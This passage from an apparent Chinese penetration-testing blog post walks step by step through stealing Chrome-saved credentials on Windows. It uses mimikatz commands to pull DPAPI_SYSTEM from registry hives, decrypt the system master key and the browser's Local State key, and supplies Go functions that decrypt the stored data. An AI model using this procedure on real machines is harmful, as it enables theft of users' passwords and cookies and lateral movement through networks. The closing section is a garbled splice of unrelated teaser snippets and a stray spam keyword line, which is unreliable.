    (4)從注冊表文件中獲得DPAPI_SYSTEM


    mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
    



    DPAPI_SYSTEM中的user hash為c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3,能夠用來解密位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User下的系統Master Key file

    (5)下載Master Key file

    %USERPROFILE%\AppData\Roaming\Microsoft\Protect

    (6)解密系統的Master Key file,獲得MasterKey


    mimikatz "dpapi::masterkey /in\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"
    

    (7)對配置文件進行解密,并獲取加密key

    使用MasterKey解密配置文件


    dpapi::blob /in %LocalAppData%\Google\Chrome\User Data\Local State
    


    復制解密后數據并轉換為文本


    復制解密后數據并轉換為文本

    讀取其中的os_crypt.encrypted_key


    (8)使用key對瀏覽器加密數據進行解密(golang函數)

    import (
        "crypto/aes"
        "crypto/cipher"
        "encoding/base64"
        "errors"
        "fmt"
        "github.com/tidwall/gjson"
        "io/ioutil"
        "syscall"
        "unsafe"
    )
    
    //ChromeDecrypt Chrome瀏覽器的解密函數 keyPath:瀏覽器配置文件,EnData:加密數據 DeData:解密數據,err:錯誤信息
    func ChromeDecrypt(key, EnData []byte) (DeData []byte,err error) {
        //對傳入參數進行初步校驗和預處理
        if len(EnData) < 15 {
            return nil, errors.New(fmt.Sprintf("EnData數據存在錯誤,非本加密算法的加密數據,請檢查:%v", EnData))
        }
        //使用key對加密數據進行解密并返回
        block, err := aes.NewCipher(key)
        if err != nil {
            return nil, err
        }
        blockMode, err := cipher.NewGCM(block)
        if err != nil {
            return nil, err
        }
        DeData, err = blockMode.Open(nil, EnData[3:15], EnData[15:], nil)
        if err != nil {
            return nil, err
        }
        return DeData,nil
    }
    
    var (
        dllCrypt32      = syscall.NewLazyDLL("Crypt32.dll")
        dllKernel32     = syscall.NewLazyDLL("Kernel32.dll")
        procEncryptData = dllCrypt32.NewProc("CryptProtectData")
        procDecryptData = dllCrypt32.NewProc("CryptUnprotectData")
        procLocalFree   = dllKernel32.NewProc("LocalFree")
    )
    
    type dataBlob struct {
        cbData uint32
        pbData *byte
    }
    
    func newBlob(d []byte) *dataBlob {
        if len(d) == 0 {
            return &dataBlob{}
        }
        return &dataBlob{
            pbData: &d[0],
            cbData: uint32(len(d)),
        }
    }
    
    //DPApiDecrypt win的DPAPI解密函數
    func DPApiDecrypt(data []byte) ([]byte, error) {
        var outBlob dataBlob
        r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(newBlob(data))), 0, 0, 0, 0, 0x1, uintptr(unsafe.Pointer(&outBlob)))
        if r == 0 {
            return nil, err
        }
        d := make([]byte, outBlob.cbData)
        copy(d, (*[1 << 30]byte)(unsafe.Pointer(outBlob.pbData))[:])
        defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
        return d, nil
    }
    

    最后

    迫于個人能力有限,只能寫出這些常用的工具的利用過程,其文參考了許多前輩的智慧,現也有很多優秀的在線工具使用,貼一些文檔參考:

    《[從mimikatz看Windows DPAPI數據解密》
    https://www.secrss.com/articles/35800
    《hack-browser-data 是一個開源工具,可以幫助您從瀏覽器解密數據》
    https://github.com/moonD4rk/HackBrowserData
    《使用mimikatz導出chrome密碼》
    http://redteam.today/2019/12/09/%E4%BD%BF%E7%94%A8mimikatz%E5%AF%BC%E5%87%BAchrome%E5%AF%86%E7%A0%81/
    《chrome瀏覽器cookie及密碼解密chrome中的敏感文件位置》
    http://knlght.top/2020/08/03/chrome%E6%B5%8F%E8%A7%88%E5%99%A8cookie%E5%8F%8A%E5%AF%86%E7%A0%81%E8%A7%A3%E5%AF%86/#chrome%E4%B8%AD%E7%9A%84%E6%95%8F%E6%84%9F%E6%96%87%E4%BB%B6%E4%BD%8D%E7%BD%AE
    《獲取運行中的TeamViewer的賬號和密碼》
    https://blog.csdn.net/nzjdsds/article/details/83109974?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-4.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-4.no_search_link
    host軟件過程
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    寫這個是因為考慮到在滲透過程中,對目標機器上的第三方軟件的信息收集很大程度決定后續能不能橫向移動,內網密碼搜集的越多,橫向滲透也就越方便,這里將列舉常見的軟件,遠程控制,瀏覽器,常見數據庫相關軟件和系統的憑證獲取方式。 而有時候因為環境特別嚴苛,在線解密的工具用不了的時候離線就顯得特別重要,做個記錄,也當了解一下各個軟件之間不同的認證方法,可能有些許理解錯誤,看官們輕錘。
    本文檔中的配置均是在實驗室環境下進行的配置和驗證,配置前設備的所有參數均采用出廠時的缺省配置。配置思路為了使路由器在重啟后使用新版本軟件,需要指定下次啟動時所用的主用啟動文件為升級后的軟件版本。Host的配置#配置Host的IP地址為192.168.100.14/24,使得與Router路由可達,具體配置方法略。#啟動Host上的TFTP服務器,設置TFTP服務器下載路徑等參數,并開啟服務。
    使用nmap+vulscan+nmap-vulner+python腳本,基于軟件版本進行掃描并編寫python腳本將xml文檔解析為excel格式輸出
    采用了一種新穎的分布式檢測架構
    網絡封包分析軟件的功能是擷取網絡封包,并盡可能顯示出最為詳細的網絡封包資料。
    信息搜集:開源情報信息收集、創建企業密碼字典進入內網:基于企業弱賬號漏洞、基于系統漏洞進入、網站應用程序滲透隱匿攻擊:Command and Control、代理內網跨邊界應用:內網跨邊界轉發、內網跨邊界代理穿透、shell反彈等
    通常我們在滲透過程中從外圍打點進入內網后拿到主機提升到system權限,這一臺主機就已經拿下。但是我們進入內網的目標還是拿下盡可能多的主機,這時候選擇橫向移動的方法就尤為重要。今天就對一些常用的橫向手法進行一個總結,有不足之處歡迎師傅們進行斧正。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类